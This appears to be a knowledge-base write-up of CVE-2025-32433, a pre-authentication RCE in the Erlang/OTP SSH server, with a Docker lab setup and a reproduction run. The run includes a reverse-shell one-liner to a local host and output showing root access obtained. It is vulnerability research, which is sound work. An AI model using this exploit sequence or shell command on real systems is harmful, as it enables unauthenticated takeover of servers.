Knowledge Base

OTP SSH — CVE-2025-32433

Updated 26 May 2026

Background

Pre-Auth SSH Message Handling RCE

  1. CVSS
    10.0Critical
  2. VECTOR
    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  3. IMPACT
    Remote code execution
  1. AFFECTED
    Erlang/OTP27.3.2< 27.3.3
  2. Erlang/OTP26.2.5.10< 26.2.5.11
  3. Erlang/OTP25.3.2.19< 25.3.2.20

A critical vulnerability in the Erlang/OTP SSH server allows unauthenticated remote code execution. The SSH implementation processes certain message types such as channel_request before authentication is complete — violating RFC 4252 Section 6.

An attacker can establish a TCP connection, send a valid SSH_MSG_KEXINIT, skip authentication entirely, then send a channel_request with exec containing arbitrary Erlang code. The payload reaches Erlang's evaluation path without any credential check.

Preparations

Build test environment

File(s): ssh_server.erl Dockerfile

ssh_server.erl starts a vulnerable SSH daemon on port 2222 with password authentication that always rejects credentials. A Dockerfile based on Debian Bookworm builds Erlang/OTP 26.2.5.10 from source, generates RSA keys, and runs the server.

zsh
docker build -t erlang-ssh .
docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh

Verify connectivity:

zsh
nc 127.0.0.1 2222 -v

Expected response: SSH-2.0-Erlang/5.1.4.7

Reproduction

POC || GTFO

File(s): cve-2025-32433.py

The exploit script bypasses authentication and executes arbitrary shell commands via Erlang code injection. Start a listener, then run the script and enter the reverse shell command when prompted:

zsh
kdev :: ~/erlang/CVE-2025-32433 » python3 cve-2025-32433.py -t 127.0.0.1 -p 2222
[*] Connecting to SSH server...
[✓] Banner: SSH-2.0-Erlang/5.1.4.7
[*] Sending KEXINIT...
[*] Opening channel...
[?] Shell command: bash -i >& /dev/tcp/172.17.0.1/4488 0>&1
[*] Sending CHANNEL_REQUEST...
[✓] Payload sent.
zsh
kdev :: ~ » nc -lvnp 4488
listening on [any] 4488 ...
connect to [172.17.0.1] from (UNKNOWN) [172.17.0.2] 58338
 
root@cf0f300797ea:~# id && hostname
uid=0(root) gid=0(root) groups=0(root)
cf0f300797ea
References

Further reading